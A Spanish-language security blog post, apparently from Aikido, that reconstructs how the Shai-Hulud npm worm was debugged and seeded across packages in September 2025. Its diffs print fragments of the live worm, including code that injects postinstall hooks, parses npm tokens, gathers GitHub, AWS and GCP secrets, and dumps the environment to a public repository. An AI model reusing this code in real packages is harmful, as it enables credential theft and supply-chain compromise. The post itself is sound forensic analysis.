Aikido

Bugs en Shai-Hulud: Depurando el desierto

Charlie EriksenCharlie Eriksen
|
#

Hola, Internet, soy yo otra vez, trayéndote más noticias alegres. 

Ayer me tomé el tiempo para sentarme y analizar a fondo las cargas útiles de Shai Hulud. Y descubrí algo emocionante, que me llevó a sumergirme en el agujero del conejo (o más bien, en el agujero de gusano) para analizar la cronología del ataque con mayor profundidad. Esto es lo que vi:

Algo aquí no está del todo bien...

¿Te das cuenta de que hay múltiples package.json y bundle.js ¿Archivos? Sí, es un error en la forma en que el gusano Shai Hulud se incrusta. No sustituiría el package.json y bundle.js; simplemente añadió otra copia de ellos. No solo eso, sino que también nos proporciona marcas de tiempo completas y el nombre de usuario del usuario local que realizó el cambio.

También vemos múltiples versiones DIFERENTES del gusano. Esto nos permite obtener mucha información sobre la cronología de los acontecimientos y cómo se fueron depurando las cosas en tiempo real. Ya sabes lo que eso significa: es hora de sacar nuestras palas y empezar a excavar.

¿Cómo comenzó el ataque?

Una de las grandes preguntas que nos planteamos fue: ¿Cuál fue la primera vulnerabilidad? ¿Cómo consiguieron los atacantes que el gusano comenzara a propagarse? La respuesta quedó clara inmediatamente cuando empezamos a examinar los metadatos de los archivos de npm. La respuesta era sencilla:

Los atacantes sembraron ellos mismos un número significativo de paquetes con el malware. Lo más probable es que utilizaran tokens NPM robados del ataque Nx original. ¿Cómo lo sabemos? Por los metadatos de usuario de los archivos. Para quienes no lo sepan, Kali es el nombre de una distribución de Linux que utilizan los profesionales de la seguridad, no los desarrolladores normales. Pero vemos esta huella digital en los primeros 49 paquetes, con un total de 67 versiones.

Batear y fallar

Los atacantes no tuvieron éxito al principio, como lo demuestra el hecho de que lanzaron múltiples versiones de algunos paquetes. Echemos un vistazo a autenticación rxnt, que es el primer paquete malicioso que creemos que se lanzó el 14 de septiembre de 2025 a las 17:58:50 UTC (versión 0.0.3). La imagen al principio de la publicación es de la versión 0.0.6, que fue la cuarta versión que lanzaron los atacantes. Aquí está la sección de scripts del primer atacante insertado. package.json:

¿Ves el error?

¿Notas algo extraño? El uso de mayúsculas en postInstalación es incorrecto. El i ¡No se debe escribir en mayúsculas! Si hacemos una comparación de las dos primeras bundle.js archivos, podemos ver que los atacantes finalmente lo descubrieron:

--- prettified/bundle-1.js	2025-09-17 19:53:13.717392200 +0200
+++ prettified/bundle-2.js	2025-09-17 19:53:20.162839500 +0200
@@ -65934,7 +65934,7 @@
                   isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
                 }
               }
-              ((n.scripts.postInstall = "node bundle.js"),
+              ((n.scripts.postinstall = "node bundle.js"),
                 await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
                 await te(`tar -uf ${le} -C ${ae} package/package.json`));
               const F = process.argv[1];
@@ -168266,67 +168266,90 @@
             architecture: this.mapArchitecture(this.systemInfo.architecture),
           };
         }

Además de arreglar esto, los atacantes hicieron varios cambios más. Les haré un favor a los atacantes y publicaré el registro de cambios por ellos, ya que no lo incluyeron:

🛠️ Mejoras

  • Módulo TruffleHog:
    • El tiempo de espera para TruggleHog se redujo de 120 segundos a 90 segundos.
    • Se ha corregido una condición de carrera al intentar ejecutar TruffleHog antes de descargar el binario.
  • Se ha sustituido una referencia al robo de credenciales de Azure por GCP.
  • Aumentó el número de paquetes npm que infectará de 10 a 20.

Es evidente que los atacantes tenían la intención de robar credenciales de Azure, pero finalmente optaron por GCP. Y decidieron duplicar el número de paquetes en los que se propagaría el gusano.

Otro error

A las 20:43:42 del 14 de septiembre de 2025, los atacantes lanzaron otro lote de paquetes, siendo el primero la versión 0.0.4 de autenticación rxnt con la capitalización fija de postinstalación. A continuación, vemos que, unos 20 minutos más tarde, a las 21:03:17 del 14 de septiembre de 2025, también lanzan una versión. 0.0.5 con un cambio interesante:

--- prettified/bundle-2.js	2025-09-17 19:53:20.162839500 +0200
+++ prettified/bundle-3.js	2025-09-17 19:53:26.495899200 +0200
@@ -65934,7 +65934,8 @@
                   isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
                 }
               }
-              ((n.scripts.postinstall = "node bundle.js"),
+              (n.scripts || (n.scripts = {}),
+                (n.scripts.postinstall = "node bundle.js"),
                 await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
                 await te(`tar -uf ${le} -C ${ae} package/package.json`));
               const F = process.argv[1];

Cambiaron su guion para insertar únicamente el postinstalación script si la clave scripts existe en el package.json. Al parecer, los atacantes se estaban preparando para atacar el ngx-bootstrap paquetes, lo cual hicieron el 15 de septiembre de 2025 a la 01:12. Aquí está el package.json:

{
  "name": "ngx-bootstrap",
  "version": "20.0.3",
  "description": "Angular Bootstrap",
  "author": "Dmitriy Shekhovtsov <valorkin@gmail.com>",
  "license": "MIT",
  "schematics": "./schematics/collection.json",
  "peerDependencies": {
    "@angular/animations": "^20.0.2",
    "@angular/common": "^20.0.2",
    "@angular/core": "^20.0.2",
    "@angular/forms": "^20.0.2",
    "rxjs": "^6.5.3 || ^7.4.0"
  },
  "dependencies": {
    "tslib": "^2.3.0"
  },
  "exports": {
    ...
    ".": {
      "types": "./index.d.ts",
      "default": "./fesm2022/ngx-bootstrap.mjs"
    }
  },
  "sideEffects": false,
  "publishConfig": {
    "registry": "https://registry.npmjs.org/",
    "tag": "next"
  },
  "repository": {
    "type": "git",
    "url": "git+ssh://git@github.com/valor-software/ngx-bootstrap.git"
  },
  "bugs": {
    "url": "https://github.com/valor-software/ngx-bootstrap/issues"
  },
  "homepage": "https://github.com/valor-software/ngx-bootstrap#readme",
  "keywords": [
    "angular",
    "bootstap",
    "ng",
    "ng2",
    "angular2",
    "twitter-bootstrap"
  ],
  "module": "fesm2022/ngx-bootstrap.mjs",
  "typings": "index.d.ts"
}

 ¿Te das cuenta de que no hay scripts? Intentar ejecutar el gusano en este paquete no funcionaría. Así que lo arreglaron. Y vemos que el paquete también fue modificado por un kali usuario:

El paquete ngx-bootstrap, también propagado por los atacantes.

Es evidente que este paquete fue impulsado por los propios atacantes después de haber depurado por qué su gusano fallaba al intentar infectar este paquete.

Más correcciones

En la versión 0.0.6 de autenticación rxnt, vemos más cambios (se ha recortado un poco para abreviar). 

--- prettified/bundle-3.js	2025-09-17 19:53:26.495899200 +0200
+++ prettified/bundle-4.js	2025-09-17 19:53:33.252022300 +0200
@@ -49555,7 +49555,7 @@
     },
     26935: (t) => {
       t.exports =
-        '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n...
+        '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n    exit 1\nfi\n\nSOURCE_ORG="$1"\nT.....
     },
     26937: (t, r, n) => {
       (n.r(r), n.d(r, { AwsRestXmlProtocol: () => AwsRestXmlProtocol }));
@@ -54767,25 +54767,6 @@
         }
       }
     },
-    32304: (t, r, n) => {
-      (n.r(r), n.d(r, { Application: () => Application }));
-      class Application {
-        constructor(t) {
-          this.config = t;
-        }
-        getConfig() {
-          return { ...this.config };
-        }
-        getRuntimeInfo() {
-          return {
-            nodeVersion: process.version,
-            platform: process.platform,
-            architecture: process.arch,
-            timestamp: new Date(),
-          };
-        }
-      }
-    },
     32348: (t, r, n) => {
       (n.r(r),
         n.d(r, {
@@ -125245,29 +125226,10 @@
         te = n(72438);
     },
     54704: (t, r, n) => {
-      (n.r(r),
-        n.d(r, {
-          exitWithCode: () => exitWithCode,
-          formatOutput: () => formatOutput,
-          logError: () => logError,
-          logInfo: () => logInfo,
-          parseNpmToken: () => parseNpmToken,
-        }));
+      (n.r(r), n.d(r, { parseNpmToken: () => parseNpmToken }));
       var F = n(79896),
         te = n(16928),
         re = n(70857);
-      function formatOutput(t) {
-        return JSON.stringify(t, null, 2);
-      }
-      function logInfo(t) {
-        console.log(`[INFO] ${t}`);
-      }
-      function logError(t) {
-        console.error(`[ERROR] ${t}`);
-      }
-      function exitWithCode(t) {
-        process.exit(t);
-      }
       function parseNpmToken(t) {
         const r = /(?:_authToken|:_authToken)=([a-zA-Z0-9\-._~+/]+=*)/,
           n = t
@@ -156119,7 +156081,7 @@
               await this.octokit.rest.repos.createForAuthenticatedUser({
                 name: t,
                 description: "Shai-Hulud Repository.",
-                private: !0,
+                private: !1,
                 auto_init: !1,
                 has_issues: !1,
                 has_projects: !1,
@@ -156140,11 +156102,6 @@
                     ),
                   ).toString("base64"),
                 })),
-              await this.octokit.rest.repos.update({
-                owner: n.owner.login,
-                repo: n.name,
-                private: !1,
-              }),
               {
                 owner: n.owner.login,
                 repo: n.name,
@@ -156178,20 +156135,6 @@
             return [];
           }
         }
-        async repoExists(t) {
-          try {
-            const r = await this.octokit.rest.users.getAuthenticated();
-            return (
-              await this.octokit.rest.repos.get({
-                owner: r.data.login,
-                repo: t,
-              }),
-              !0
-            );
-          } catch {
-            return !1;
-          }
-        }
       }
     },
     82053: (t, r, n) => {
@@ -174427,114 +174370,110 @@
 __webpack_require__.r(__webpack_exports__);
 var _utils_os__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(71197),
   _lib_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(54704),
-  _models_general__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(32304),
-  _modules_github__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(82036),
-  _modules_aws__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(56686),
-  _modules_gcp__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(9897),
-  _modules_truffle__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(94913),
-  _modules_npm__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(40766);
+  _modules_github__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(82036),
+  _modules_aws__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(56686),
+  _modules_gcp__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(9897),
+  _modules_truffle__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(94913),
+  _modules_npm__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(40766);
 async function main() {
-  const t = new _models_general__WEBPACK_IMPORTED_MODULE_2__.Application({
-      name: "System Info App",
-      version: "1.0.0",
-      description: "Optimizes system.",
-    }),
-    r = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
-    n = t.getRuntimeInfo(),
-    F = new _modules_github__WEBPACK_IMPORTED_MODULE_3__.GitHubModule(),
-    te = new _modules_aws__WEBPACK_IMPORTED_MODULE_4__.AWSModule(),
-    re = new _modules_gcp__WEBPACK_IMPORTED_MODULE_5__.GCPModule(),
-    ne = new _modules_truffle__WEBPACK_IMPORTED_MODULE_6__.TruffleHogModule();
-  let oe = process.env.NPM_TOKEN;
-  oe ||
-    (oe =
+  const t = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
+    r = new _modules_github__WEBPACK_IMPORTED_MODULE_2__.GitHubModule(),
+    n = new _modules_aws__WEBPACK_IMPORTED_MODULE_3__.AWSModule(),
+    F = new _modules_gcp__WEBPACK_IMPORTED_MODULE_4__.GCPModule(),
+    te = new _modules_truffle__WEBPACK_IMPORTED_MODULE_5__.TruffleHogModule();
+  let re = process.env.NPM_TOKEN;
+  re ||
+    (re =
       (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.parseNpmToken)() ?? void 0);
-  const ie = new _modules_npm__WEBPACK_IMPORTED_MODULE_7__.NpmModule(oe);
-  let se = null,
-    ae = !1;
+  const ne = new _modules_npm__WEBPACK_IMPORTED_MODULE_6__.NpmModule(re);
+  let oe = null,
+    ie = !1;
   if (
-    F.isAuthenticated() &&
+    r.isAuthenticated() &&
     ((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
       (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)())
   ) {
-    const t = F.getCurrentToken(),
-      r = await F.getUser();
-    if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && r) {
-      await F.extraction(t);
-      const n = await F.getOrgs();
-      for (const t of n) await F.migration(r.login, t, F.getCurrentToken());
+    const t = r.getCurrentToken(),
+      n = await r.getUser();
+    if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && n) {
+      await r.extraction(t);
+      const F = await r.getOrgs();
+      for (const t of F) await r.migration(n.login, t, r.getCurrentToken());
     }
   }
-  const [ce, le] = await Promise.all([
+  const [se, ae] = await Promise.all([
     (async () => {
       try {
         if (
-          ((se = await ie.validateToken()),
-          (ae = !!se),
-          se &&
+          ((oe = await ne.validateToken()),
+          (ie = !!oe),
+          oe &&
             ((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
               (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)()))
         ) {
-          const t = await ie.getPackagesByMaintainer(se, 20);
+          const t = await ne.getPackagesByMaintainer(oe, 20);
           await Promise.all(
             t.map(async (t) => {
               try {
-                await ie.updatePackage(t);
+                await ne.updatePackage(t);
               } catch (t) {}
             }),
           );
         }
       } catch (t) {}
-      return { npmUsername: se, npmTokenValid: ae };
+      return { npmUsername: oe, npmTokenValid: ie };
     })(),
     (async () => {
-      const [t, r] = await Promise.all([ne.isAvailable(), ne.getVersion()]);
+      if (process.env.SKIP_TRUFFLE)
+        return {
+          available: !1,
+          installed: !1,
+          version: null,
+          platform: null,
+          results: null,
+        };
+      const [t, r] = await Promise.all([te.isAvailable(), te.getVersion()]);
       let n = null;
       return (
-        t && (n = await ne.scanFilesystem()),
+        t && (n = await te.scanFilesystem()),
         {
           available: t,
-          installed: ne.isInstalled(),
+          installed: te.isInstalled(),
           version: r,
-          platform: ne.getSupportedPlatform(),
+          platform: te.getSupportedPlatform(),
           results: n,
         }
       );
     })(),
   ]);
-  ((se = ce.npmUsername), (ae = ce.npmTokenValid));
-  let ue = [];
-  (await te.isValid()) && (ue = await te.getAllSecretValues());
-  let de = [];
-  (await re.isValid()) && (de = await re.getAllSecretValues());
-  const pe = {
-    application: t.getConfig(),
+  ((oe = se.npmUsername), (ie = se.npmTokenValid));
+  let ce = [];
+  (await n.isValid()) && (ce = await n.getAllSecretValues());
+  let le = [];
+  (await F.isValid()) && (le = await F.getAllSecretValues());
+  const ue = {
     system: {
-      platform: r.platform,
-      architecture: r.architecture,
-      platformDetailed: r.platformRaw,
-      architectureDetailed: r.archRaw,
+      platform: t.platform,
+      architecture: t.architecture,
+      platformDetailed: t.platformRaw,
+      architectureDetailed: t.archRaw,
     },
-    runtime: n,
     environment: process.env,
     modules: {
       github: {
-        authenticated: F.isAuthenticated(),
-        token: F.getCurrentToken(),
+        authenticated: r.isAuthenticated(),
+        token: r.getCurrentToken(),
+        username: r.getUser(),
       },
-      aws: { secrets: ue },
-      gcp: { secrets: de },
-      truffleHog: le,
-      npm: { token: oe, authenticated: ae, username: se },
+      aws: { secrets: ce },
+      gcp: { secrets: le },
+      truffleHog: ae,
+      npm: { token: re, authenticated: ie, username: oe },
     },
   };
-  (F.isAuthenticated() &&
-    !F.repoExists("Shai-Hulud") &&
-    (await F.makeRepo(
-      "Shai-Hulud",
-      (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.formatOutput)(pe),
-    )),
-    (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.exitWithCode)(0));
+  (r.isAuthenticated() &&
+    (await r.makeRepo("Shai-Hulud", JSON.stringify(ue, null, 2))),
+    process.exit(0));
 }
 main().catch((t) => {
   process.exit(0);

Aquí hay algunas notas sobre el parche:

✨ Nuevas funciones

  • Escaneo condicional TruffleHog: Ahora puede omitir el análisis del sistema de archivos de TruffleHog configurando el SALTAR_TRUFA variable de entorno. 

🛠️ Mejoras

  • Migración mejorada del repositorio: El script de migración ahora elimina automáticamente el .github/flujos de trabajo directorio de repositorios migrados. 
  • Repositorios públicos predeterminados: El repositorio GitHub creado para almacenar los datos recopilados del sistema ahora se crea como público de forma predeterminada, en lugar de hacerse público después de crearse como privado.
  • Se ha eliminado la comprobación repoExists: Se ha eliminado la comprobación para ver si el repositorio Shai-Hulud ya existe. Ahora, el script intentará crearlo cada vez que se ejecute, confiando en el comportamiento de GitHub para gestionar los casos en los que el repositorio ya existe.

Primera propagación comunitaria

Según este análisis, la primera propagación comunitaria se produjo a través del paquete. Complemento del condensador para la aplicación de salud versión 0.0.2 el 15 de septiembre de 2025 a las 04:54.

El primer caso de propagación comunitaria observado

Es el primer paquete en el que vemos que el archivo tiene un usuario que no es kali

¿Cómo se vio comprometido tinycolor?

Los primeros informes sobre esta campaña se centraron principalmente en el paquete tinycolor. ¡Veámoslo! La primera versión maliciosa de @ctrl/color pequeño era la versión 4.1.1, publicado el 15 de septiembre de 2025 a las 19:52. 

Es probable que el paquete tinycolor haya sido introducido por los atacantes.

Pero mira, otro kaliEs muy probable que este paquete no se haya visto comprometido por la propagación comunitaria, sino por los atacantes que intentaban introducir otro paquete para activar el gusano.

¿Cómo se vio CrowdStrike ?

Aquí está el paquete. crowdstrike versión 0.19.1, publicado el 16 de septiembre de 2025 a la 01:14. Tenga en cuenta que el usuario kali También modificó esto...

Es probable que CrowdStrike hayan sido sembrados por los atacantes.

Esto indica que los atacantes tenían credenciales para CrowdStrike las utilizaron para lanzar otra oleada del ataque.

¿Cómo se vio comprometido NativeScript?

De hablar con Daniel Pereira, quien fue el primero en alertar a la comunidad sobre esta campaña, se dio cuenta de ella porque observó que había afectado al ecosistema NativeScript. El primer paquete fue @nativescript-community/arrays de buffers versión 1.1.6 el 15 de septiembre de 2025 a las 09:16:

Un caso claro de propagación comunitaria.

Eventos importantes

A continuación se presenta una cronología de los acontecimientos más importantes de la campaña. 

Hora de publicación (UTC) Paquete / Versión Notas
14/09/2025 17:58 rxnt-autenticación @ 0.0.3 Primera versión maliciosa, postinstalación con mayúsculas incorrectas.
14 de septiembre de 2025, 20:43 rxnt-autenticación @ 0.0.4 Corrige el problema de mayúsculas en el gusano.
14/09/2025 21:03 rxnt-authentication @ 0.0.5 Corrige el error que provocaba que el gusano fallara cuando un archivo package.json no contenía scripts.
15/09/2025 01:12 ngx-bootstrap @ 20.0.3 Primer paquete ngx-bootstrap comprometido por atacantes, tras corregir el error cuando un paquete no tiene scripts.
15/09/2025 04:54 capacitor-plugin-healthapp @ 0.0.2 Se detecta la primera propagación comunitaria.
15 de septiembre de 2025, 09:16 @nativescript-community/arraybuffers @ 1.1.6 El primer paquete NativeScript comprometido a través de la propagación comunitaria.
15 de septiembre de 2025, 15:45 rxnt-autenticación @ 0.0.6 Los atacantes lanzaron otra versión con más correcciones al gusano.
15/09/2025 19:52 @ctrl/tinycolor @ 4.1.1 La primera versión maliciosa de tinycolor, difundida por los atacantes.
16/09/2025 01:14 crowdstrike@ 0.19.1 CrowdStrike están infectados con malware por parte de los atacantes.

¿Hacia dónde vamos a partir de aquí?

Esta campaña de Shai Hulud representa una escalada significativa con respecto al ataque original de S1ngularity, que comenzó con Nx. Observamos que los atacantes realizan múltiples intentos para corregir errores y conseguir que el gusano comience a propagarse por el ecosistema npm. La explicación más lógica a la que hemos llegado es que los atacantes han estado guardando las credenciales que robaron en el ataque original, esperando el momento adecuado para utilizarlas.

Por lo tanto, podemos observar que los atacantes lanzaron múltiples rondas de ataques a lo largo de varios días, ya que su intento no comenzó a propagarse inmediatamente con una velocidad significativa. No estaban contentos con la lentitud con la que se propagaba, lo cual fue una gran suerte para nosotros. 

Pero esto plantea una incómoda verdad: si han estado acumulando estas credenciales durante varias semanas y ahora tienen aún MÁS credenciales que han podido robar, es probable que esto no sea lo último que veamos de ellos. Por ahora, el gusano aún no ha alcanzado escape necesaria para convertirse en verdaderamente viral. 

Sería absurdo suponer que los atacantes utilizaron sus mejores bazas, en términos de las credenciales que tienen guardadas en la recámara. Aún no está claro cuál es el incentivo y el motivo de los atacantes, lo que sugiere que esta saga no ha terminado. Parece más que probable que nos espera una trilogía de una historia que aún está por contarse. Y, por ahora, no creo que el final vaya a ser feliz. 

4.7/5

Protege tu software ahora.

Empieza gratis
Sin tarjeta
Solicitar una demo
Sus datos no se compartirán · Acceso de solo lectura · No se requiere tarjeta de crédito

Asegúrate ahora.

Proteja su código, la nube y el entorno de ejecución en un único sistema central.
Encuentre y corrija vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.